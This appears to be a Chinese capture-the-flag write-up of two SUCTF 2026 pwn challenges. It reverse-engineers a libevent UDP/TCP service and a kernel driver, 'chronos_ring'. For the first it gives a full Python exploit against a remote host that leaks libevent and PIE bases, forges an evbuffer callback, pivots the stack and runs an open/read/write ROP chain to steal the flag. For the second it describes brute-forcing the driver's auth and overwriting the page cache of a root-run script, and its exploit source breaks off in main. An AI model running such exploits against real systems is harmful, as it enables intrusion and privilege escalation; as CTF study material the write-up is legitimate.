SU_evbuffer
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
这题是一个libevent 网络服务,本地动态库好像有些问题,修了半天,还存在沙箱,禁用了execve
Libevent 是一个开源、跨平台、轻量级的事件驱动网络编程库。
它用 C 语言编写,核心目标是简化高性能网络服务器的开发。它通过封装不同操作系统底层的 I/O 多路复用机制(如 Linux 的 epoll、BSD/macOS 的 kqueue、Windows 的 IOCP 或 select),为开发者提供了一套统一、简洁且高效的 API 来处理网络事件。
分析下main函数的逻辑:
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
unsigned int fd; // [rsp+Ch] [rbp-44h]
__int64 v5; // [rsp+10h] [rbp-40h]
struct sockaddr addr; // [rsp+20h] [rbp-30h] BYREF
_QWORD v7[4]; // [rsp+30h] [rbp-20h] BYREF
v7[3] = __readfsqword(0x28u); // canary
((void (__fastcall *)(__int64, char **, char **))seccomp)(a1, a2, a3);
qword_40B0 = event_base_new(); // 事件基
memset(&unk_4040, 0, 0x70uLL);
fd = socket(2, 2, 0); // 网络套接字,SOCK_DGRAM (数据报套接字,即 UDP) = 2
*(_QWORD *)&addr.sa_family = 2LL;
*(_QWORD *)&addr.sa_data[6] = 0LL;
*(_WORD *)addr.sa_data = htons(8889u);
bind(fd, &addr, 0x10u);
dword_4060 = 0;
dword_4070 = fd; // 保存 fd 到全局变量,供回调使用
v5 = event_new(qword_40B0, fd, 18LL, (__int64)sub_1630, (__int64)&unk_4040);// 事件注册,监控 fd 的读事件 (18 = EV_READ | EV_PERSIST),回调函数sub_1630
event_add(v5, 0LL);
v7[0] = 2LL; // sin_family = AF_INET
v7[1] = 0LL;
WORD1(v7[0]) = htons(8888u);
evconnlistener_new_bind(qword_40B0, (__int64)sub_16EA, 0LL, 10LL, 0xFFFFFFFFLL, (__int64)v7, 16LL);// 高级监听, 回调sub_16EA
event_base_dispatch(qword_40B0); // 进入事件循环
return 0LL;
}
可以看出两种协议处理:
UDP event 回调: sub_1630 -> sub_13A4
TCP listener 回调: sub_16EA -> sub_159E -> sub_13A4
主要漏洞在sub_13A4
unsigned __int64 __fastcall sub_13A4(__int64 a1, _BYTE *a2, int a3, const struct sockaddr *a4)
{
__int64 v4; // rbx
__int64 v5; // rbx
__int64 v6; // rbx
__int64 v7; // rbx
_QWORD *s; // [rsp+28h] [rbp-78h]
__int64 output; // [rsp+38h] [rbp-68h]
char name[8]; // [rsp+40h] [rbp-60h] BYREF
__int64 v14; // [rsp+48h] [rbp-58h]
__int64 v15; // [rsp+50h] [rbp-50h]
__int64 v16; // [rsp+58h] [rbp-48h]
__int64 v17; // [rsp+60h] [rbp-40h]
__int64 v18; // [rsp+68h] [rbp-38h]
__int64 v19; // [rsp+70h] [rbp-30h]
__int64 v20; // [rsp+78h] [rbp-28h]
unsigned __int64 v21; // [rsp+88h] [rbp-18h]
v21 = __readfsqword(0x28u); // canary
if ( a3 > 0 )
{
a2[a3] = 0; // 将输入缓冲区 a2 截断为字符串 (添加 \0)
s = malloc(0x50uLL); // 数据包
if ( s )
{
memset(s, 0, 0x50uLL);
if ( inet_pton(2, a2, (char *)s + 4) ) // IP 地址解析
{
*(_WORD *)s = 2;
gethostname(name, 0x40uLL); // 获取本机主机名
v4 = v14;
s[2] = *(_QWORD *)name;
s[3] = v4;
v5 = v16;
s[4] = v15;
s[5] = v5;
v6 = v18;
s[6] = v17;
s[7] = v6;
v7 = v20;
s[8] = v19;
s[9] = v7;
memcpy((void *)a1, a2, a3);
if ( *(_DWORD *)(a1 + 32) == 1 && *(_QWORD *)(a1 + 40) )// TCP分支发送
{
output = bufferevent_get_output(*(_QWORD *)(a1 + 40));
evbuffer_add_reference(output, s, 80LL, sub_1381, 0LL);
}
else
{
sendto(*(_DWORD *)(a1 + 48), s, 0x50uLL, 0, a4, 0x10u);// UDP分支发送,sendto(...): 标准的 UDP 发送函数
free(s);
}
}
else
{
free(s);
}
}
}
return v21 - __readfsqword(0x28u);
}
memcpy(dest, user_buf, len)
这个 dest 是全局 ctx (context上下文)地址 (TCP 为 pie+0x4078, UDP 为 pie+0x4040)
问题在于ctx 实际很小(几十字节),但 len 最大到 0x3ff(追溯到上一级的sub_1630看buf大小)
这样会把后面的全局数据和同页区域都覆盖掉
+---------------------+ pie+0x4040 (UDP ctx)
| UDP ctx |
+---------------------+ pie+0x4078 (TCP ctx)
| TCP ctx |
+---------------------+ pie+0x40b0 (event_base*)
| global ptrs |
+---------------------+
| ... 同页可写区域 ... | <== memcpy 最多写 0x3ff 字节
+---------------------+
第二个漏洞很明显,name这个变量只给了8字节,但是获取主机名gethostname(name, 0x40uLL);却把整块40字节带了进去,后续回包可以利用这点泄露信息
TCP 路径和 UDP 路径泄漏到的地址类型不同
TCP 触发时,残留更容易落在 libevent 调用链里,所以拿来算 libevent base
UDP 触发时,残留是程序本体里的返回地址,所以可用来算 PIE base
利用思路:
先拿地址基址
- TCP 发 “127.0.0.1” 拿一包泄漏 -> 算 libevent base
- UDP 发特制包(改成特定udp_fd) -> 算 PIE base
用越界写布置假对象
- 把 TCP ctx 改成:
state = 1
bev = fake_bev - fake_bev->output 指向 fake_evbuffer
劫持 evbuffer callback
- fake_evbuffer 的 callbacks 指向伪造 cb entry
- cb 函数指针设置为 gadget: pop rdi; ret
- 配合 evbuffer 字段计算,让返回跳到 pop rsp; ret
- 实现栈迁移到我们布置的 ROP 链
ROP 做 ORW
- 先 sigaction(SIGPIPE, SIG_IGN) 防止写错 fd 被信号打死
- open(“/home/ctf/flag”, O_RDONLY)
- read(9, buf, 0x80)
- write(8, buf, 0x80)
- exit(0)
EXP
#!/usr/bin/env python3
import re
import socket
import struct
import time
HOST = "101.245.104.190"
TARGETS = [
(10006, 10016),
(10005, 10015),
(10004, 10014),
(10003, 10013),
(10002, 10012),
(10001, 10011),
(10000, 10010),
]
FLAG_PATH = b"/home/ctf/flag"
LIBEVENT_LEAK_OFF = 0x13B1A
PIE_LEAK_OFF = 0x1619
def p64(x: int) -> bytes:
return struct.pack("<Q", x & 0xFFFFFFFFFFFFFFFF)
def p32(x: int) -> bytes:
return struct.pack("<I", x & 0xFFFFFFFF)
def leak_tcp(sock: socket.socket) -> int:
sock.sendall(b"127.0.0.1")
data = sock.recv(0x50)
if len(data) < 0x50:
raise RuntimeError("short tcp leak")
q = struct.unpack("<10Q", data[:0x50])
return q[9] - LIBEVENT_LEAK_OFF
def leak_udp(udp_port: int) -> int:
u = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
u.bind(("0.0.0.0", 0))
u.settimeout(1.2)
try:
payload = bytearray(b"127.0.0.1\x00")
payload += b"A" * (0x20 - len(payload))
payload += p32(0) + b"BBBB" + p64(0) + p32(6)
u.sendto(bytes(payload), (HOST, udp_port))
data, _ = u.recvfrom(0x200)
if len(data) < 0x50:
raise RuntimeError("short udp leak")
q = struct.unpack("<10Q", data[:0x50])
return q[9] - PIE_LEAK_OFF
finally:
u.close()
def build_payload(pie: int, libevent: int, path: bytes) -> bytes:
read_fd = 9
sock_fd = 8
count = 0x80
base = pie + 0x4078
fake_bev = pie + 0x4080
chain = pie + 0x41A0
fake_evbuf = pie + 0x4350
cb = pie + 0x43D0
sa = pie + 0x4400
path_addr = pie + 0x4440
buf = pie + 0x4460
pop_rdi = libevent + 0xD879
pop_rsi = libevent + 0xD2E5
pop_rsp = libevent + 0xCF2D
pop_rdx4 = libevent + 0x339DD
sigaction_plt = libevent + 0xC6C4
open_plt = libevent + 0xCB24
read_plt = libevent + 0xC904
write_plt = libevent + 0xC714
exit_plt = libevent + 0xCBB4
n0 = chain - 0x50
t0 = pop_rsp + n0
payload = bytearray(b"\x00" * 0x3FF)
payload[:10] = b"127.0.0.1\x00"
def w(off: int, data: bytes) -> None:
payload[off:off + len(data)] = data
def wq(addr: int, value: int) -> None:
w(addr - base, p64(value))
def wd(addr: int, value: int) -> None:
w(addr - base, p32(value))
# ctx @ pie+0x4078
wd(pie + 0x4078 + 0x20, 1)
wq(pie + 0x4078 + 0x28, fake_bev)
wq(fake_bev + 0x118, fake_evbuf)
# fake evbuffer
wq(fake_evbuf + 0x10, fake_evbuf)
wq(fake_evbuf + 0x18, t0)
wq(fake_evbuf + 0x20, n0)
wq(fake_evbuf + 0x78, cb)
# callback entry
wq(cb + 0x10, pop_rdi)
wd(cb + 0x20, 1)
# struct sigaction act = {.sa_handler = SIG_IGN}
w(sa - base, p64(1) + b"\x00" * 0x38)
w(path_addr - base, path + b"\x00")
rop: list[int] = []
def call3(fn: int, a1: int, a2: int, a3: int) -> None:
rop.extend([pop_rdi, a1, pop_rsi, a2, pop_rdx4, a3, 0, 0, 0, fn])
call3(sigaction_plt, 13, sa, 0) # ignore SIGPIPE
call3(open_plt, path_addr, 0, 0)
call3(read_plt, read_fd, buf, count)
call3(write_plt, sock_fd, buf, count)
rop.extend([pop_rdi, 0, exit_plt])
w(chain - base, b"".join(p64(x) for x in rop))
end = max(i for i, b in enumerate(payload) if b != 0) + 1
return bytes(payload[:end])
def exploit_once(tcp_port: int, udp_port: int) -> bytes:
s = socket.create_connection((HOST, tcp_port), timeout=3)
s.settimeout(2)
try:
libevent = leak_tcp(s)
pie = leak_udp(udp_port)
payload = build_payload(pie, libevent, FLAG_PATH)
s.sendall(payload)
data = b""
while True:
try:
chunk = s.recv(0x2000)
if not chunk:
break
data += chunk
if len(data) > 0x4000:
break
except socket.timeout:
break
return data
finally:
s.close()
def main() -> None:
print(f"[*] host: {HOST}")
for tcp_port, udp_port in TARGETS:
print(f"[*] trying tcp={tcp_port} udp={udp_port}")
for i in range(6):
try:
data = exploit_once(tcp_port, udp_port)
print(f" try#{i}: recv {len(data)} bytes")
if data:
m = re.search(rb"flag\\{[^\\n\\x00\\r]*\\}", data, re.I)
if m:
print(f"[+] FLAG: {m.group().decode(errors='ignore')}")
return
except Exception as e:
print(f" try#{i}: {e}")
time.sleep(0.8)
print("[!] failed to get flag in current attempts")
if __name__ == "__main__":
main()
打通拿到flag{80e59f78-d2a3-4e6a-bbbf-8027d25c2b9b},换成SUCTF包裹就行
SU_Chronos_Ring
先看启动脚本,initramfs里找到init
#!/bin/sh
export PATH=/bin:/sbin:/usr/bin:/usr/sbin
/bin/busybox --install -s
export PS1='[ctf@SUCTF2026 \w]$ '
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs devtmpfs /dev
mount -t tmpfs tmpfs /tmp
mkdir -p /dev/pts
mkdir -p /var/lock
mount -t devpts devpts /dev/pts || true
echo SUCTF2026 > /proc/sys/kernel/hostname
echo 'root:x:0:0:root:/root:/bin/sh' > /etc/passwd
echo 'ctf:x:1000:1000:ctf:/home/ctf:/bin/sh' >> /etc/passwd
echo 'root:x:0:' > /etc/group
echo 'ctf:x:1000:' >> /etc/group
chmod 644 /etc/passwd
chmod 644 /etc/group
mkdir -p /root
mkdir -p /home/ctf
chown 1000:1000 /home/ctf
chmod 777 /home/ctf
echo 1 > /proc/sys/kernel/printk
if [ -e /flag ]; then
chown root:root /flag
chmod 400 /flag
fi
insmod /chronos_ring.ko
chmod 666 /dev/chronos_ring
echo "#!/bin/sh" > /tmp/job
echo "echo 'Root helper is running safely...'" >> /tmp/job
chmod 644 /tmp/job
(
while true; do
/bin/sh /tmp/job > /dev/null 2>&1
sleep 3
done
) &
echo
echo "==============================================="
echo " Welcome to SUCTF 2026: Chronos Ring "
echo " Please pwn!!! "
echo "==============================================="
echo
export HOME=/home/ctf
export TERM=dumb
cd /home/ctf
if command -v su >/dev/null 2>&1; then
exec setsid cttyhack su ctf -s /bin/sh
elif command -v setuidgid >/dev/null 2>&1; then
exec setsid cttyhack setuidgid 1000 /bin/sh
else
echo "[!] warning: no su/setuidgid found, fallback to root shell"
exec setsid cttyhack /bin/sh
fi
umount /proc
umount /sys
poweroff -d 1 -n -f
可以看到chmod 666 /dev/chronos_ring,普通用户 ctf 可直接调用驱动 ioctl
chronos_ring.ko: 这是本题的核心,它是一个自定义的内核模块
flag设为权限400,仅root可读
然后看下run.sh找下保护
#!/bin/sh
TIMEOUT=300
exec timeout --signal=KILL ${TIMEOUT} \
qemu-system-x86_64 \
-m 96M \
-nographic \
-enable-kvm \
-smp 2 \
-cpu max \
-kernel ./bzImage \
-initrd ./initramfs.cpio.gz \
-monitor /dev/null \
-append "console=ttyS0 kaslr no5lvl pti=on oops=panic panic=1 quiet" \
-no-reboot
开了kaslr,pti=on说明也有kpti,-cpu max来模拟宿主机的cpu,说明还有SMAP和SMEP
然后来逆向chronos_ring.ko,先分析下init初始化模块
__int64 init_module()
{
_DWORD *v0; // rax
unsigned int v1; // ebx
unsigned __int64 retaddr; // [rsp+8h] [rbp+0h]
v0 = (_DWORD *)_kmalloc_cache_noprof(
kmalloc_caches[14 * ((0x61C8864680B583EBLL * (retaddr ^ random_kmalloc_seed)) >> 60) + 5],
3520LL,
24LL);
ctx = (__int64)v0;
v1 = -12;
if ( v0 )
{
*v0 = 0;
if ( (unsigned int)misc_register(&chronos_misc) )
{
kfree(ctx);
}
else
{
printk(&unk_123);
return 0;
}
}
return v1;
}
可以看出内核态内存分配和分配失败的处理,还有misc_register(Linux 内核 misc 设备注册函数)
misc设备是 Linux 内核为小型、简单的字符设备设计的统一框架,目的是简化设备驱动开发
这类设备会在 /dev 目录下生成对应的设备节点(比如 /dev/chronos),结合之前看到的设置了 666 权限:
那么任何用户(包括普通非 root 用户)都可以对该设备节点执行 read/write 操作,也能调用 ioctl(因为 ioctl 依赖设备节点的读写权限,而非执行权限)
据此接着去分析chronos_ioctl 函数
unsigned __int64 __fastcall chronos_ioctl(__int64 a1, int a2, __int64 a3)
{
unsigned __int64 result; // rax
__int64 v5; // rdi
__int64 v6; // r15
unsigned int *v7; // rbx
__int64 v8; // rdi
__int64 v9; // rbx
__int64 v10; // rcx
__int64 v11; // rcx
__int64 v12; // rbx
__int64 v13; // r14
__int64 v14; // rcx
__int64 v15; // rdi
__int64 v16; // rax
__int64 v17; // rcx
__int64 v18; // rax
__int64 v19; // rbx
__int64 v20; // rbx
__int64 v21; // rbx
unsigned __int64 free_pages_noprof; // rax
unsigned __int64 v23; // rcx
__int64 v24; // rbx
__int64 v25; // rax
__int64 v26; // rdi
__int64 v27; // rdi
__int64 v28; // rax
__int64 v29; // rcx
__int64 v30; // rbx
bool v31; // zf
__int64 v32; // rax
__int64 v33; // rcx
__int64 v34; // rbx
__int64 v35; // r14
__int64 v36; // rcx
__int64 v37; // rax
__int64 v38; // rcx
__int64 v39; // r15
_QWORD *v40; // rax
unsigned __int8 *v41; // rcx
unsigned __int8 v42; // dl
unsigned __int8 *v43; // rcx
int v44; // esi
_QWORD *v45; // rbx
unsigned __int64 cache_page; // r14
unsigned __int64 v47; // rsi
__int64 v48; // rax
__int64 v49; // rcx
__int64 v50; // r14
int v51; // eax
unsigned __int64 v52; // rax
unsigned __int64 v53; // rcx
__int64 v54; // r14
__int64 v55; // rax
__int64 v56; // rdi
__int64 v57; // rdi
__int64 v58; // [rsp+0h] [rbp-78h] BYREF
size_t n; // [rsp+8h] [rbp-70h]
__int64 src; // [rsp+10h] [rbp-68h] BYREF
size_t v61; // [rsp+18h] [rbp-60h]
__int64 v62; // [rsp+20h] [rbp-58h]
__int64 v63; // [rsp+28h] [rbp-50h]
__int64 v64; // [rsp+30h] [rbp-48h]
__int64 v65; // [rsp+38h] [rbp-40h]
__int64 v66; // [rsp+40h] [rbp-38h]
__int64 v67; // [rsp+48h] [rbp-30h]
unsigned __int64 v68; // [rsp+50h] [rbp-28h]
unsigned __int64 retaddr; // [rsp+80h] [rbp+8h]
v68 = __readgsqword(0x28u);
result = -22LL;
if ( a2 > 4101 )
{
if ( a2 <= 4103 )
{
if ( a2 == 4102 )
{
raw_spin_lock(ctx);
v15 = ctx;
v24 = *(_QWORD *)(ctx + 8);
v25 = -22LL;
if ( v24 && *(_DWORD *)(v24 + 24) == 1 )
{
*(_DWORD *)(v24 + 24) = 0;
v26 = *(_QWORD *)(v24 + 32);
if ( v26 )
{
fput(v26);
*(_QWORD *)(v24 + 32) = 0LL;
}
v27 = *(_QWORD *)(v24 + 48);
if ( v27 )
{
v28 = *(_QWORD *)(v27 + 8);
if ( (v28 & 1) != 0 )
v27 = v28 - 1;
if ( !_InterlockedDecrement((volatile signed __int32 *)(v27 + 52)) )
_folio_put();
*(_QWORD *)(v24 + 48) = 0LL;
}
*(_DWORD *)(v24 + 80) = 0;
v15 = ctx;
*(_DWORD *)(ctx + 16) &= ~4u;
v25 = 0LL;
}
v20 = v25;
}
else
{
n = 0LL;
v58 = 0LL;
v67 = 0LL;
v66 = 0LL;
v65 = 0LL;
v64 = 0LL;
v63 = 0LL;
v62 = 0LL;
v61 = 0LL;
src = 0LL;
v11 = copy_from_user(&v58, a3, 16LL);
result = -14LL;
if ( v11 )
return result;
v12 = (unsigned int)n;
result = -22LL;
if ( (unsigned int)(n - 65) < 0xFFFFFFC0 )
return result;
v13 = v58;
_check_object_size(&src, (unsigned int)n, 0LL);
v14 = copy_from_user(&src, v13, v12);
result = -14LL;
if ( v14 )
return result;
raw_spin_lock(ctx);
v15 = ctx;
v16 = *(_QWORD *)(ctx + 8);
v17 = -22LL;
if ( v16 )
{
if ( *(_DWORD *)v16 > HIDWORD(n) && (unsigned int)n <= *(_DWORD *)v16 - HIDWORD(n) )
{
v17 = -1LL;
if ( !*(_DWORD *)(v16 + 24) )
{
v18 = *(_QWORD *)(v16 + 8);
if ( v18 )
{
v19 = ctx;
memcpy((void *)(HIDWORD(n) + v18), &src, (unsigned int)n);
v15 = v19;
v17 = 0LL;
}
}
}
}
v20 = v17;
}
raw_spin_unlock(v15);
return v20;
}
if ( a2 == 4104 )
{
v61 = 0LL;
src = 0LL;
v33 = copy_from_user(&src, a3, 16LL);
result = -14LL;
if ( v33 )
return result;
raw_spin_lock(ctx);
v34 = *(_QWORD *)(ctx + 8);
if ( !v34 )
{
raw_spin_unlock(ctx);
return -2LL;
}
if ( *(_DWORD *)v34 <= HIDWORD(v61) || (unsigned int)v61 > *(_DWORD *)v34 - HIDWORD(v61) || !*(_QWORD *)(v34 + 8) )
{
raw_spin_unlock(ctx);
return -22LL;
}
raw_spin_unlock(ctx);
_rcu_read_lock();
v35 = *(_QWORD *)(v34 + 72);
if ( v35 )
{
if ( *(_QWORD *)v35 )
{
memcpy(
(void *)(HIDWORD(v61) + *(_QWORD *)v35),
(const void *)(*(_QWORD *)(v34 + 8) + HIDWORD(v61)),
(unsigned int)v61);
if ( *(_DWORD *)(v35 + 16) == 2 )
set_page_dirty(*(_QWORD *)(v35 + 8));
}
}
_rcu_read_unlock();
return 0LL;
}
if ( a2 == 4105 )
{
LODWORD(v62) = 0;
v61 = 0LL;
src = 0LL;
raw_spin_lock(ctx);
v37 = *(_QWORD *)(ctx + 8);
if ( v37 )
{
LODWORD(src) = *(_DWORD *)(ctx + 16);
HIDWORD(src) = *(_DWORD *)(v37 + 24);
LODWORD(v61) = *(_DWORD *)(v37 + 80);
HIDWORD(v61) = *(_DWORD *)(v37 + 40);
LODWORD(v62) = *(unsigned __int8 *)(v37 + 56);
}
raw_spin_unlock(ctx);
v38 = copy_to_user(a3, &src, 20LL);
result = -14LL;
if ( !v38 )
return 0LL;
return result;
}
if ( a2 != 4106 )
return result;
raw_spin_lock(ctx);
v8 = ctx;
v9 = *(_QWORD *)(ctx + 8);
if ( v9 )
{
*(_QWORD *)(ctx + 8) = 0LL;
*(_BYTE *)(v8 + 16) &= 0xF9u;
raw_spin_unlock(v8);
call_rcu(v9 + 88, chronos_buf_rcu_cb);
return 0LL;
}
*(_BYTE *)(ctx + 16) &= 0xF9u;
goto LABEL_79;
}
if ( a2 <= 4098 )
{
if ( a2 == 4097 )
{
raw_spin_lock(ctx);
v21 = *(_QWORD *)(ctx + 8);
raw_spin_unlock(ctx);
result = -16LL;
if ( !v21 )
{
v7 = (unsigned int *)_kmalloc_cache_noprof(
kmalloc_caches[14 * ((0x61C8864680B583EBLL * (retaddr ^ random_kmalloc_seed)) >> 60) + 2],
3520LL,
136LL);
result = -12LL;
if ( v7 )
{
*v7 = 4096;
v7[6] = 0;
v7[21] = 1;
free_pages_noprof = get_free_pages_noprof(3520LL, 0LL);
*((_QWORD *)v7 + 1) = free_pages_noprof;
if ( !free_pages_noprof )
goto LABEL_110;
if ( free_pages_noprof < 0xFFFFFFFF80000000LL )
v23 = 0xFFFFFFFF80000000LL - page_offset_base;
else
v23 = phys_base;
*((_QWORD *)v7 + 2) = vmemmap_base + (((v23 + free_pages_noprof + 0x80000000) >> 6) & 0xFFFFFFFFFFFFFFC0LL);
raw_spin_lock(ctx);
v8 = ctx;
if ( *(_QWORD *)(ctx + 8) )
{
raw_spin_unlock(ctx);
_BitScanReverse64(&v47, ((unsigned __int64)*v7 - 1) >> 12);
free_pages(*((_QWORD *)v7 + 1), (unsigned int)(v47 + 1));
kfree(v7);
return -16LL;
}
*(_QWORD *)(ctx + 8) = v7;
goto LABEL_79;
}
}
return result;
}
if ( a2 != 4098 )
return result;
v61 = 0LL;
src = 0LL;
v10 = copy_from_user(&src, a3, 16LL);
result = -14LL;
if ( v10 )
return result;
result = -1LL;
if ( ((unsigned int)v61 ^ src ^ ((unsigned __int64)&kfree >> 4) & 0xFFFFFFFFFFFE0000LL) != 0xF372FE94F82B3C6ELL )
return result;
raw_spin_lock(ctx);
v8 = ctx;
*(_DWORD *)(ctx + 16) |= 1u;
*(_DWORD *)(v8 + 20) = v61;
LABEL_79:
raw_spin_unlock(v8);
return 0LL;
}
if ( a2 == 4099 )
{
src = 0LL;
v58 = 0LL;
v29 = copy_from_user(&v58, a3, 8LL);
result = -14LL;
if ( v29 )
return result;
raw_spin_lock(ctx);
v5 = ctx;
if ( (*(_BYTE *)(ctx + 16) & 1) == 0 )
goto LABEL_72;
v30 = *(_QWORD *)(ctx + 8);
raw_spin_unlock(ctx);
if ( !v30 )
return -2LL;
v31 = (unsigned int)pin_user_pages_fast(v58, 1LL, 257LL, &src) == 1;
result = -14LL;
if ( !v31 )
return result;
raw_spin_lock(ctx);
v8 = ctx;
v32 = *(_QWORD *)(ctx + 8);
if ( !v32 || v32 != v30 )
{
raw_spin_unlock(ctx);
unpin_user_page(src);
return -2LL;
}
if ( *(_BYTE *)(v30 + 56) && *(_QWORD *)(v30 + 64) )
{
unpin_user_page(*(_QWORD *)(v30 + 64));
v8 = ctx;
}
*(_QWORD *)(v30 + 64) = src;
*(_BYTE *)(v30 + 56) = 1;
*(_BYTE *)(v8 + 16) |= 2u;
goto LABEL_79;
}
if ( a2 != 4100 )
{
raw_spin_lock(ctx);
v5 = ctx;
v6 = *(_QWORD *)(ctx + 8);
if ( v6 && (*(_BYTE *)(ctx + 16) & 2) != 0 )
{
raw_spin_unlock(ctx);
v7 = (unsigned int *)_kmalloc_cache_noprof(
kmalloc_caches[14 * ((0x61C8864680B583EBLL * (retaddr ^ random_kmalloc_seed)) >> 60) + 1],
3520LL,
72LL);
result = -12LL;
if ( !v7 )
return result;
raw_spin_lock(ctx);
if ( *(_QWORD *)(ctx + 8) != v6 )
{
raw_spin_unlock(ctx);
kfree(v7);
return -2LL;
}
if ( *(_DWORD *)(v6 + 24) == 1 )
{
v48 = *(_QWORD *)(v6 + 48);
if ( v48 )
{
v49 = *(_QWORD *)(v48 + 8);
if ( (v49 & 1) != 0 )
v48 = v49 - 1;
_InterlockedIncrement((volatile signed __int32 *)(v48 + 52));
v50 = *(_QWORD *)(v6 + 48);
*((_QWORD *)v7 + 1) = v50;
_SCT__might_resched();
*(_QWORD *)v7 = page_offset_base + ((v50 - vmemmap_base) << 6);
v51 = 2;
goto LABEL_113;
}
}
v52 = get_free_pages_noprof(3520LL, 0LL);
*(_QWORD *)v7 = v52;
if ( v52 )
{
if ( v52 < 0xFFFFFFFF80000000LL )
v53 = 0xFFFFFFFF80000000LL - page_offset_base;
else
v53 = phys_base;
*((_QWORD *)v7 + 1) = vmemmap_base + (((v53 + v52 + 0x80000000) >> 6) & 0xFFFFFFFFFFFFFFC0LL);
v51 = 1;
LABEL_113:
v7[4] = v51;
*(_DWORD *)(v6 + 80) = v51;
v54 = *(_QWORD *)(v6 + 72);
*(_QWORD *)(v6 + 72) = v7;
raw_spin_unlock(ctx);
if ( v54 )
call_rcu(v54 + 24, chronos_view_rcu_cb);
return 0LL;
}
raw_spin_unlock(ctx);
LABEL_110:
kfree(v7);
return -12LL;
}
LABEL_72:
raw_spin_unlock(v5);
return -1LL;
}
src = 0LL;
v36 = copy_from_user(&src, a3, 8LL);
result = -14LL;
if ( v36 )
return result;
raw_spin_lock(ctx);
v5 = ctx;
if ( (*(_BYTE *)(ctx + 16) & 1) == 0 )
goto LABEL_72;
v39 = *(_QWORD *)(ctx + 8);
raw_spin_unlock(ctx);
result = -2LL;
if ( v39 )
{
v40 = (_QWORD *)fget((unsigned int)src);
if ( !v40 )
return -9LL;
if ( !*v40 )
goto LABEL_102;
v41 = *(unsigned __int8 **)(*v40 + 40LL);
v42 = *v41;
if ( !*v41 )
goto LABEL_102;
v43 = v41 + 1;
v44 = -2128831035;
do
{
v44 = 16777619 * (v44 ^ v42);
v42 = *v43++;
}
while ( v42 );
if ( v44 != -573296676 )
{
LABEL_102:
fput(v40);
return -13LL;
}
v45 = v40;
cache_page = read_cache_page(v40[9], HIDWORD(src), 0LL, 0LL);
if ( cache_page >= 0xFFFFFFFFFFFFF001LL )
{
fput(v45);
return cache_page;
}
raw_spin_lock(ctx);
v55 = *(_QWORD *)(ctx + 8);
if ( !v55 || v55 != v39 )
{
raw_spin_unlock(ctx);
put_page(cache_page);
fput(v45);
return -2LL;
}
v56 = *(_QWORD *)(v39 + 32);
if ( v56 )
fput(v56);
v57 = *(_QWORD *)(v39 + 48);
if ( v57 )
put_page(v57);
*(_QWORD *)(v39 + 32) = v45;
*(_QWORD *)(v39 + 40) = HIDWORD(src);
*(_QWORD *)(v39 + 48) = cache_page;
*(_DWORD *)(v39 + 24) = 1;
v8 = ctx;
*(_DWORD *)(ctx + 16) |= 4u;
goto LABEL_79;
}
return result;
}
| 命令号 | 核心功能 |
|---|---|
| 4097 | 初始化内核缓冲区:分配内存 + 申请物理页 + 绑定到全局 ctx |
| 4098 | 鉴权校验:验证魔术值(硬编码),通过则标记 ctx 状态位 |
| 4099 | 锁定用户态页面:pin 用户页到内存,绑定到缓冲区结构体 |
| 4100 | 文件校验 + 缓存页关联:验证文件哈希,绑定文件对象 / 缓存页到缓冲区 |
| 4102 | 清理资源:释放文件对象 / 缓存页,重置缓冲区状态 |
| 4103 | 内核→用户写数据:将内核缓冲区数据拷贝到用户态 |
| 4104 | 内核缓冲区→视图拷贝:将核心缓冲区数据拷贝到 RCU 保护的视图缓冲区 |
| 4105 | 状态查询:将缓冲区 /ctx 状态信息返回给用户态 |
| 4106 | 销毁缓冲区:解绑 ctx 缓冲区,通过 RCU 异步释放资源 |
| 其他 | 返回 -22(EINVAL,无效参数) |
注意到漏洞:
4098 的校验是:
check = ((kfree >> 4) & 0xfffffffffffe0000) ^ arg0 ^ (uint32)arg1
且要求 check == 0xf372fe94f82b3c6e
这个校验逻辑很弱
掩码后粒度是 0x20000,搜索空间很小(约千级),可在线爆破
// 校验通过后执行的核心代码
raw_spin_lock(ctx);
*(_DWORD *)(ctx + 16) |= 1u; // 置位 ctx+16 地址的第 0 位(bit0)
*(_DWORD *)(ctx + 20) = v61; // 保存用户传入的 v61 参数
raw_spin_unlock(ctx);
return 0;
ctx+16 是驱动的全局权限状态位,bit0 被置 1 后,后续所有敏感命令(4099/4100/4103/4104 等)的前置权限检查都会通过
再结合其他逻辑:
4103合规场景下允许把最多4096字节写进驱动内部 buffer
4100+ 4101可让 view 指向某个文件页
4104把内部 buffer 内容 memcpy 到这个文件页,并标脏
root 每 3 秒执行 /tmp/job,于是命令被 root 执行
4100 命令分支中,包含完整的 FNV1a 哈希计算与校验逻辑,要求名字是 job,正好对应 /tmp/job
那总体利用链就是
+------------------+ ioctl 4097 +----------------------+
| ctf user process | ---------------------> | create ring buffer |
+------------------+ +----------------------+
|
| ioctl 4098 (爆破认证)
v
+----------------------+
| ctx.auth = 1 |
+----------------------+
|
| ioctl 4103(先把payload写进内部buffer)
v
+----------------------+
| ring_buffer = payload|
+----------------------+
|
| ioctl 4099 / 4100/ 4101
v
+-------------------------------+
| view -> pagecache(/tmp/job) |
+-------------------------------+
|
| ioctl 4104
v
+----------------------------------------------+
| memcpy(ring_buffer, pagecache(/tmp/job)) |
| set_page_dirty(pagecache) |
+----------------------------------------------+
|
| root helper: /bin/sh /tmp/job
v
+----------------------+
| root 命令执行成功 |
+----------------------+
exp.c
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <unistd.h>
#define CMD_CREATE 0x1001
#define CMD_AUTH 0x1002
#define CMD_PIN_PAGE 0x1003
#define CMD_LOAD_JOB_PAGE 0x1004
#define CMD_BUILD_VIEW 0x1005
#define CMD_SYNC_VIEW 0x1008
#define CMD_WRITE_BUF 0x1007
struct auth_arg {
uint64_t x;
uint64_t y;
};
struct write_arg {
uint64_t src;
uint32_t len;
uint32_t off;
};
static int must_ioctl(int fd, unsigned long cmd, void *arg, const char *name) {
int ret = ioctl(fd, cmd, arg);
if (ret < 0) {
fprintf(stderr, "[-] %s failed: %s\n", name, strerror(errno));
exit(1);
}
return ret;
}
int main(void) {
static const uint64_t k_magic = 0xf372fe94f82b3c6eULL;
static const uint64_t k_start = 0x0ffffffff8000000ULL;
static const uint64_t k_end = 0x1000000000000000ULL;
